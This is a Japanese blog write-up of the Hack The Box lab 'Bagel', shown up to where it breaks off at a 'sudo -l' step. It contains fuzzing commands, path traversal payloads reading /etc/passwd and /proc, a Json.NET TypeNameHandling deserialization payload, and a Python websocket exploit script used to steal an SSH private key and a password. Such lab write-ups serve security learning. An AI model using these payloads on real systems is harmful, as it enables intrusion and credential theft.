1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Hack The Box】Bagel【WriteUp】

Last updated at Posted at 2023-06-03

初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Bagel」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

Discovery

ポートスキャン

今回はRustScanで高速スキャンしてみた。

┌──(root㉿kali)-[~/work]
└─# rustscan -a 10.10.11.201 --top --ulimit 5000 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.201:22
Open 10.10.11.201:5000
Open 10.10.11.201:8000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-23 02:21 EST
Initiating Ping Scan at 02:21
Scanning 10.10.11.201 [4 ports]
Completed Ping Scan at 02:21, 0.22s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:21
Completed Parallel DNS resolution of 1 host. at 02:21, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 02:21
Scanning 10.10.11.201 [3 ports]
Discovered open port 5000/tcp on 10.10.11.201
Discovered open port 22/tcp on 10.10.11.201
Discovered open port 8000/tcp on 10.10.11.201
Completed SYN Stealth Scan at 02:21, 0.22s elapsed (3 total ports)
Nmap scan report for 10.10.11.201
Host is up, received echo-reply ttl 63 (0.18s latency).
Scanned at 2023-02-23 02:21:57 EST for 0s

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 63
5000/tcp open  upnp     syn-ack ttl 63
8000/tcp open  http-alt syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)

ポート22、5000、8000が公開されてそう。
実際に8000にアクセスしてみると、「bagel.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。
8000なのでなんとなくPython環境の予感...

Collection - 1

ドメイン環境設定

今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
/etc/hostsをいじっていく。

┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   

以下を投入。

10.10.11.201    bagel.htb

疎通確認を行う。

┌──(root㉿kali)-[~/work]
└─# ping bagel.htb                 
PING bagel.htb (10.10.11.201) 56(84) bytes of data.
64 bytes from bagel.htb (10.10.11.201): icmp_seq=1 ttl=63 time=180 ms
64 bytes from bagel.htb (10.10.11.201): icmp_seq=2 ttl=63 time=190 ms
64 bytes from bagel.htb (10.10.11.201): icmp_seq=3 ttl=63 time=179 ms
^C
--- bagel.htb ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 178.978/183.221/190.315/5.047 ms

サイト探索

Subdomain探索

以下サイトからサブドメインのリストをダウンロード

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt

ffufで探索。

┌──(root㉿kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://bagel.htb:8000/ -H "HOST: FUZZ.bagel.htb:8000" -fs 263 -mc all -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://bagel.htb:8000/
 :: Wordlist         : FUZZ: ./bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.bagel.htb:8000
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response size: 263
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 384 req/sec :: Duration: [0:06:38] :: Errors: 0 ::

特段いいいものはない。

ディレクトリ探索

dirsearchを使用して探索を実施。

┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://bagel.htb:8000/             

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/bagel.htb-8000/-_23-02-23_02-25-13.txt

Error Log: /root/.dirsearch/logs/errors-23-02-23_02-25-13.log

Target: http://bagel.htb:8000/

[02:25:13] Starting: 
[02:27:54] 200 -  267B  - /orders                                            
                                                                             
Task Completed


┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://bagel.htb:8000/orders/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/bagel.htb-8000/-orders-_23-02-23_02-30-29.txt

Error Log: /root/.dirsearch/logs/errors-23-02-23_02-30-29.log

Target: http://bagel.htb:8000/orders/

[02:30:30] Starting: 
                                                                             
Task Completed

/orders階層を発見する。

ffufでも同様のものを発見できた。更に探索を進めていく。
`page``クエリでルーティングしてそうなのでその他にページがないか探索していく。

┌──(root㉿kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u http://bagel.htb:8000/?page=FUZZ.html -t 150 -fs 14

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://bagel.htb:8000/?page=FUZZ.html
 :: Wordlist         : FUZZ: ./directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 14
________________________________________________

index                   [Status: 200, Size: 8698, Words: 745, Lines: 188, Duration: 332ms]
:: Progress: [87664/87664] :: Job [1/1] :: 164 req/sec :: Duration: [0:09:01] :: Errors: 0 ::

まぁ、index.htmlくらいしか出てこなかった。

Initial Access

まぁここら辺の定石から攻めていく。
pageクエリでディレクトリトラバーサルを実行していく。

directory traversal attack

以下のようにペイロードリストを引っ張ってくる。

┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt 

レッツトライ!

┌──(root㉿kali)-[~/work]
└─# ffuf -w ./LFI-LFISuite-pathtotest-huge.txt:FUZZ -u http://bagel.htb:8000/?page=FUZZ -t 150 -fs 14

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://bagel.htb:8000/?page=FUZZ
 :: Wordlist         : FUZZ: ./LFI-LFISuite-pathtotest-huge.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 14
________________________________________________

../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 219ms]
../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 238ms]
../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 236ms]
../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 239ms]
../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 243ms]
../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 251ms]
../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 251ms]
../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 255ms]
../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 256ms]
../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 257ms]
../../../../etc/passwd  [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 256ms]
../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 258ms]
../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 260ms]
../../../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 261ms]
../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 1823, Words: 39, Lines: 35, Duration: 259ms]
../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 274ms]
../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 276ms]
../../../../etc/shadow  [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 280ms]
../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 283ms]
../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 283ms]
../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 294ms]
../../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 294ms]
../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 295ms]
../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 297ms]
../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 307ms]
../../../../etc/group   [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 306ms]
../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 310ms]
../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 314ms]
../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 311ms]
../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 313ms]
../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 314ms]
../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 316ms]
../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 317ms]
../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 317ms]
../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 319ms]
../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 320ms]
../../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 321ms]
../../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 323ms]
../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 323ms]
../../../../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 324ms]
../../../../../../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 326ms]
../../../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 326ms]
../../../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 350ms]
../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 353ms]
../../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 356ms]
../../../../../../../../../../../../../../../../../etc/shadow [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 360ms]
../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 360ms]
../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 364ms]
../../../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 355ms]
../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 366ms]
../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 367ms]
../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 366ms]
../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 369ms]
../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 373ms]
../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 370ms]
../../../../../../../../../../../../../../../../../../etc/group [Status: 200, Size: 761, Words: 1, Lines: 56, Duration: 372ms]
../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 383ms]
../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 383ms]
../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 383ms]
../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 233, Words: 1, Lines: 1, Duration: 384ms]
../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 204ms]
../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 192ms]
../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 197ms]
../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 198ms]
../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 199ms]
../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 201ms]
../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 204ms]
../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 206ms]
../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 207ms]
../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 209ms]
../../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 211ms]
../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 211ms]
../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 212ms]
../../../../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 208ms]
../../../../../../../../../../../../../../../../../proc/self/cmdline [Status: 200, Size: 35, Words: 1, Lines: 1, Duration: 210ms]
../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 207ms]
../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 213ms]
../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 213ms]
../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 213ms]
../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 218ms]
../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 222ms]
../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 223ms]
../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 222ms]
../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 223ms]
../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 225ms]
../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 218ms]
../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 227ms]
../../../../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 223ms]
../../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 224ms]
../../../../../../../../../../../../../../../../../proc/self/stat [Status: 200, Size: 318, Words: 52, Lines: 2, Duration: 225ms]
../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 218ms]
../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 215ms]
../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 221ms]
../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 218ms]
../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 218ms]
../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 218ms]
../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 218ms]
../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 219ms]
../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 221ms]
../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 223ms]
../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 227ms]
../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1407, Words: 95, Lines: 58, Duration: 221ms]
../../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 221ms]
../../../../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1407, Words: 95, Lines: 58, Duration: 224ms]
../../../../../../../../../../../../../../../../../proc/self/status [Status: 200, Size: 1408, Words: 95, Lines: 58, Duration: 227ms]
:: Progress: [9513/9513] :: Job [1/1] :: 383 req/sec :: Duration: [0:00:25] :: Errors: 0 ::

ガッツリ引っかかる。実際にetc/passwdを持ってきた。
1.png
多分ダメだろうけど、id_rsa取ってきてみる。
2.png
ダメだった。
トラバーサルの結果から/proc/self/cmdlineでプロセスキャッチできそうなのが見える。実際にとって来てみた。
3.png
なんとなくこのWebページのコントローラ相当のものかと考えられる(Pythonの命名的にそう)
このPyhtonファイルを取得してくる。
4.png
取得できた。以下が実際のコードである。

app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

flaskで動かしてるコントローラ相当のPythonソースだった。
/ordersへのルーティングで何やらコメントが書いてある。

 # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.

dotnetでdllファイル動かすのを忘れないようにって言っているので何かそういったファイルがあるのだと思う。
(.NET初心者なのでここで青ざめる)
とりあえず取ってくる。/proc配下はトラバーサルでアクセスできることは見えていることと、現在/orders階層は動いているため、dllファイルが起動していることを踏まえると
/proc配下をひたすら探索していくのが吉と考えた。ひたすら探っていく。

Collection - 2

/proc配下の探索

探索の簡易化のために以下のPIDごとにcurlを飛ばすシェルスクリプトを作成した。

find_dll.sh
for i in `seq 1000`
do
        curl http://bagel.htb:8000/?page=../../../../../proc/$i/cmdline -o -;
        echo `PID:$i`;:
done

此奴を回してみた。
5.png
PIDの900番台辺りでdllが動いていることが見える。Pathは/opt/bagel/bin/Debug/net6.0/bagel.dll
この階層のファイルをトラバーサルで取得してくる。
6.png

表層解析

簡単にざっとStringsだけ確認しておく。

┌──(root㉿kali)-[/home/kali/Downloads]
└─# strings bagel.dll 
!This program cannot be run in DOS mode.
.text
`.rsrc
@.reloc
,*(%
BSJB
v4.0.30319
#Strings
#GUID
#Blob
<>u__1
IEnumerable`1
Task`1
EventHandler`1
ArraySegment`1
<StartServer>d__6
get_UTF8
<Module>
System.IO
get_Data
System.Collections.Generic
SendAsync
StartAsync
get_UserId
set_UserId
System.Threading.Thread
AwaitUnsafeOnCompleted
get_IsCompleted
add_MessageReceived
userid
<RemoveOrder>k__BackingField
Replace
get_ReadFile
set_ReadFile
get_WriteFile
set_WriteFile
file
order_filename
get_Time
DateTime
System.Runtime
IAsyncStateMachine
SetStateMachine
stateMachine
line
Type
Base
Create
DebuggerBrowsableState
<>1__state
EmbeddedAttribute
CompilerGeneratedAttribute
AttributeUsageAttribute
DebuggableAttribute
NullableAttribute
DebuggerBrowsableAttribute
AssemblyTitleAttribute
AsyncStateMachineAttribute
ObsoleteAttribute
DebuggerStepThroughAttribute
TargetFrameworkAttribute
DebuggerHiddenAttribute
AssemblyFileVersionAttribute
AssemblyInformationalVersionAttribute
AssemblyConfigurationAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
NullableContextAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
Byte
value
Serialize
Deserialize
Flag
System.Threading
Encoding
set_TypeNameHandling
System.Runtime.Versioning
ToString
GetString
Formatting
path
Task
Bagel
bagel
bagel.dll
_Ssl
System
CancellationToken
Main
Join
get_Session
set_Session
session
System.Reflection
SqlConnection
DB_connection
SetException
Newtonsoft.Json
json
order_info
_ServerIp
Sleep
AsyncVoidMethodBuilder
<>t__builder
sender
get_ReadOrder
set_ReadOrder
get_WriteOrder
set_WriteOrder
get_RemoveOrder
set_RemoveOrder
Handler
TaskAwaiter
GetAwaiter
_Server
InitializeServer
WatsonWsServer
StartServer
bagel_server
.ctor
.cctor
System.Diagnostics
System.Runtime.CompilerServices
DebuggingModes
ReadLines
set_AcceptInvalidCertificates
NullableFlags
JsonSerializerSettings
MessageReceivedEventArgs
args
Microsoft.CodeAnalysis
System.Threading.Tasks
Orders
IsSuccess
AttributeTargets
Concat
SerializeObject
DeserializeObject
WatsonWebsocket
op_Implicit
GetResult
SetResult
Microsoft.Data.SqlClient
ReadContent
WriteContent
file_content
get_Count
Start
JsonConvert
get_IpPort
_ServerPort
MoveNext
System.Text
WriteAllText
get_Now
get_Array
directory
op_Inequality
WrapNonExceptionThrows
.NETCoreApp,Version=v6.0
FrameworkDisplayName
bagel
Debug
1.0.0.0
1.0.0
$bagel_server.Bagel+<StartServer>d__6
qThe production team has to decide where the database server will be hosted. This method is not fully implemented.
AllowMultiple
        Inherited
AllowMultiple
        Inherited
RSDS
/opt/bg1/obj/Debug/net6.0/bagel.pdb
SHA256
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>

うん、いい情報はないのでデコンパイルだな。
ここからdllファイルのデコンパイルを行うわけだが、初心者すぎてキツい(´・ω・)...

dll デコンパイル

入手したdllファイルは.NETなのはわかっているので以下のdnSpyでデコンパイルを行う。

DBにPasswordを発見した。
7.png
これでSSHしてみる。
8.png
developerも同様である。秘密鍵をゲットしないといけなさそう。
別のルートでシェルゲットしないといけなさそうである。

もう一度、app.py/ordersルートを確認してみる。

app.py
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json

app = Flask(__name__)

@app.route('/')
def index():
        if 'page' in request.args:
            page = 'static/'+request.args.get('page')
            if os.path.isfile(page):
                resp=send_file(page)
                resp.direct_passthrough = False
                if os.path.getsize(page) == 0:
                    resp.headers["Content-Length"]=str(len(resp.get_data()))
                return resp
            else:
                return "File not found"
        else:
                return redirect('http://bagel.htb:8000/?page=index.html', code=302)

@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
    try:
        ws = websocket.WebSocket()    
        ws.connect("ws://127.0.0.1:5000/") # connect to order app
        order = {"ReadOrder":"orders.txt"}
        data = str(json.dumps(order))
        ws.send(data)
        result = ws.recv()
        return(json.loads(result)['ReadOrder'])
    except:
        return("Unable to connect")

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=8000)

Port 5000でこのDLLにソケット通信してるようである。
OrderクラスのReadOrder関数を使用しているように見える。
9.png
この関数にはトラバーサル防止の簡易な置換機能が備わっていそうである。
(実際にトラバーサルしたが、うまくいかなかった。)
別の関数を確認するべきだろう。

Credential Access

TypeNameHandling

10.png
HandlerクラスにJSON Serializeの関数があるのがわかる。
これについてちょっと調べてみたら、以下の記事が見つかった。

TypeNameHandlingを用いて以下のようにRCEが出来るといった内容である。(今回はRCEの関数実装がなかったのでReadFile関数を利用し、LFIを実施。)

{
  "$type": "System.Windows.Data.ObjectDataProvider,    PresentationFramework",
  "MethodName": "Start",
  "MethodParameters": {
    "$type": "System.Collections.ArrayList, mscorlib",
    "$values": [ "cmd", "/c calc.exe" ]
  },
  "ObjectInstance": {
   "$type": "System.Diagnostics.Process, System"
  }
}

これを用いて、FileクラスのReadFile関数を呼び出すことにした。
ReadOrder関数ではorder_filenameでstring検証されておそらくできないので、RemoveOrderを通した。
Payloadとしては以下のようになる。

 { 
    "RemoveOrder" : {
        "$type":"bagel_server.File, bagel", 
        "ReadFile":"../../../../../../<File_Path>"
    }
}

此奴を飛ばすためのPythonファイルを自作した。以下のPythonファイルを実行する。

ws-5000.py
import sys,websocket,json

if len(sys.argv) < 2:
    print(f"Warming!!! \n Usage: python3 {sys.argv[0]} <file>\n")
    exit(1)

def send_payload(word: str):
    ws = websocket.WebSocket()
    ws.connect("ws://bagel.htb:5000/")
    req =  { "RemoveOrder" : {"$type":"bagel_server.File, bagel", "ReadFile":f"../../../../../..{word}"}}
    data = str(json.dumps(req))

    ws.send(data)

    result = ws.recv()
    return result
  
rev = send_payload(sys.argv[1])

print(rev)

11.png
LFIの成功である。というわけでjsonの["RemoveOrder"]["ReadFile"]の階層が見やすくなるようにPythonファイルを改修した。

ws-5000-2.py
import sys,websocket,json

if len(sys.argv) < 2:
    print(f"Warming!!! \n Usage: python3 {sys.argv[0]} <file>\n")
    exit(1)

def send_payload(word: str):
    ws = websocket.WebSocket()
    ws.connect("ws://bagel.htb:5000/")
    req =  { "RemoveOrder" : {"$type":"bagel_server.File, bagel", "ReadFile":f"../../../../../..{word}"}}
    data = str(json.dumps(req))

    ws.send(data)

    result = ws.recv()
    return result
  
rev = send_payload(sys.argv[1])
rev = json.loads(rev)["RemoveOrder"]["ReadFile"]

print(rev)

12.png
OKである。これでid_rsaのファイルを取得する。
13.png

Persistence

抽出したクレデンシャル情報を用いてid_rsaファイルを作成しchmod 600 id_rsaコマンドを実行。
ssh接続を実施すると、アクセス完了となる。
15.png
一般ユーザ権限の奪取完了である。

Privilege Escalation - Horizontal

philユーザに権限昇格につながりそうな情報はパッと見てなかった。
※というよりdeveloperユーザの存在と、dllに記載されていたPassword情報から水平方向で権限昇格することは目に見えてる、、、
なので、developerに移ります。

[phil@bagel ~]$ su - developer 

これで水平方向での権限昇格は完了です。

Privilege Escalation - Vertical

sudo -l

sudo -lを打って確認!

[developer@bagel ~]$ sudo -l
Matching Defaults entries for developer on bagel:
